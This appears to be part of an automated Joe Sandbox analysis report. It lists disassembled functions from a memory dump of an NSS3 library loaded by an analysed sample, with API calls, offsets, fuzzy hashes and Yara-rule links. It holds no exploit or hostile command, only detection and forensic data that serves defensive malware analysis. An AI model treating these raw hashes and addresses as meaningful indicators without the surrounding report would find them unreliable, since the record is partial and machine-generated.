Opcode ID: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction ID: 1291df39e8fb8ef07b23470c6e9bc4e18b6918a77df3a0da5a3ecec13f47f094
Opcode Fuzzy Hash: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction Fuzzy Hash: 9821A4B1D002048BEB20DFA4D9055EE77B4AF05248F555469D8057B701F731EA55CBB9

Function 6C6A3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6A3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C6A3CAE
PR_Unlock.NSS3(?), ref: 6C6A3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3D02

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction ID: de8aee1d72a422ec2ef46b8842cf72c5222f5ebe1cf775f2137b5d49cc9c3c51
Opcode Fuzzy Hash: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction Fuzzy Hash: 3411B475A00204AFD700AF64DC48E9A37B9EF0A368F154074ED058B712E731ED55CBE5

Function 6C6AECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C6AF0AD,6C6AF150,?,6C6AF150,?,?,?), ref: 6C6AECBA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C6AECD1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C6AED02

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C6AED5A

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 76dde72ef65d2d73a85da6562e265c10ea3bb2b4ad39952e19a0229eff78b9b9
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: D321D4B1A007425BE700DF25D944B52B7E4BFA5308F15C215E81C87661FB70E9A5C7E8

Function 6C6DEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE14

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(?,?,6C6C9767,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE33

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction ID: 6366d671b69e6cc108f5464cd7262ec5bf8ed3184d4b0d7b75badfa1f2ea736e
Opcode Fuzzy Hash: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction Fuzzy Hash: 3611C2B1A00707ABEB209EA5DC84B46F3A8FF0435DF224531E919C2A00E731F465CBE9

Function 6C65DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_NewCertList.NSS3 ref: 6C65DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C65DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65E029

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 410475219db5b1573e2d62144da0d32e0a5d0e09c4c224fe599cf635f4179d38
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 7F112F71A042066BDF101EA99C44BEB76B8EB8535CFA40534E918C7740F73BC83597E9

Function 6C678DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C678DE7
EnterCriticalSection.KERNEL32 ref: 6C678DFC
PR_Unlock.NSS3 ref: 6C678E2D
PR_SetError.NSS3 ref: 6C678E49

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction ID: 1f2f05af8d7cdf630b08cf4df1927fd49a393801eb20a4114f724b09bb2259b6
Opcode Fuzzy Hash: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction Fuzzy Hash: 911191716056019FD700AF78D4485A9BBF4FF09354F014969DC88D7700E730E895CBDA

Function 6C6FAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACDB

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction ID: 946dbee206ebbe9353e9fd703242d2c833e9dd608ba5f2ff18a69ec3cb070919
Opcode Fuzzy Hash: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction Fuzzy Hash: F6015EB5701B029BEB50DF69E908757B7E8BF00759B104839E86AC3E11E731F055CB95

Function 6C661DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C661DFB

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PR_EnterMonitor.NSS3 ref: 6C661E09

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(?,?,6C65E175), ref: 6C65E19C
Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(6C65E175), ref: 6C65E1AA
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E208
Part of subcall function 6C65E190: PL_HashTableRemove.NSS3(?), ref: 6C65E219
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E231
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E249
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661E37
PR_ExitMonitor.NSS3 ref: 6C661E4A

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction ID: 336d6f5134f631bd6db140d43f6d62b7f6c21a30899e0cc9e51dc83962851440
Opcode Fuzzy Hash: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction Fuzzy Hash: D0018FB1B0415197EB105F6AED08F4677A4AB52B48F240031E91997F91E731E826CB9E

Function 6C661D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C661D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C661D9C
free.MOZGLUE(00000000), ref: 6C661DB8

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction ID: 291279245eed0e5d3d0beaf54ecba8c835d70e7e17d352a5be8e1186c36a2266
Opcode Fuzzy Hash: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction Fuzzy Hash: EEF0F9F260121067FB201F5BEC41B8736D8AB81798F100635ED1997F40D671E40482EF

Function 6C6AFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4
free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction ID: f66672d40333ece326dddc6aeec6d2846073debf6e95477de6f7f5a582ed189d
Opcode Fuzzy Hash: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction Fuzzy Hash: C5F0C8F16022026BEF015B95DD80927BBD8EF45399B148074ED098AB01E731DC16C7EB

Function 6C76CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C76CC61
free.MOZGLUE ref: 6C76CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C76CC80
free.MOZGLUE(?), ref: 6C76CC87

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction ID: b62cb622932d6d95cf8f28def52c6460da53ad28260737f1e9b06ffa0cecdd7c
Opcode Fuzzy Hash: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction Fuzzy Hash: 82E03076700608ABCB10EFA8DC4488A77ACEE492723150565E691C3700D232F905CBA1

Function 6C649DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C649E1F

Part of subcall function 6C6013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C601413
Part of subcall function 6C6013C0: memcpy.VCRUNTIME140(00000000,R#]l,00000002,?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C6014C0

Strings

ESCAPE expression must be a single character, xrefs: 6C649F78
LIKE or GLOB pattern too complex, xrefs: 6C64A006

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction ID: 6daa736bfc3cf47b36914c0c59b09f3e55145e153307c15362afad1d62db551a
Opcode Fuzzy Hash: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction Fuzzy Hash: F1812B70A442558BD744CF29C2807EAB7F6AF8532CF28C659D8A98BB81D736D847C784

Function 6C6A4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C6A4DE6

Strings

%d.%d, xrefs: 6C6A4DDE

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction ID: f3073532db0d69003b4f21911bb83211dddbfb5cc3d21d2ed669e7ef13d2a519
Opcode Fuzzy Hash: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction Fuzzy Hash: 5D31FCB2D042186BEB10ABE19C05BFF77A8DF45308F150469ED159B781EB709D06CBAA

Function 6C6C4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8ll,00000000,00000000,?,?,6C6C3827,?,00000000), ref: 6C6C4D0A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C6C4D22

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

Strings

'8ll, xrefs: 6C6C4D07

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8ll
API String ID: 1521942269-3147167083
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: e9c045571cb0dc53a02a19017d26fc9ed9119a401a2e55a1fbcf3640a8849614
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FEF0687270112467DB10AE6A9C4077736DCDB417BDF141271DD18DB781E6B1EC018697

Function 6C6EAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6EAF78

Part of subcall function 6C64ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
Part of subcall function 6C64ACC0: malloc.MOZGLUE(00000001), ref: 6C64ACEC
Part of subcall function 6C64ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
Part of subcall function 6C64ACC0: TlsGetValue.KERNEL32 ref: 6C64AD3C
Part of subcall function 6C64ACC0: calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64ADC0
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64AE8C
Part of subcall function 6C64ACC0: free.MOZGLUE(?), ref: 6C64AEAB

memcpy.VCRUNTIME140(6C7B3084,6C7B02AC,00000090), ref: 6C6EAF94

Strings

SSL, xrefs: 6C6EAF73

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
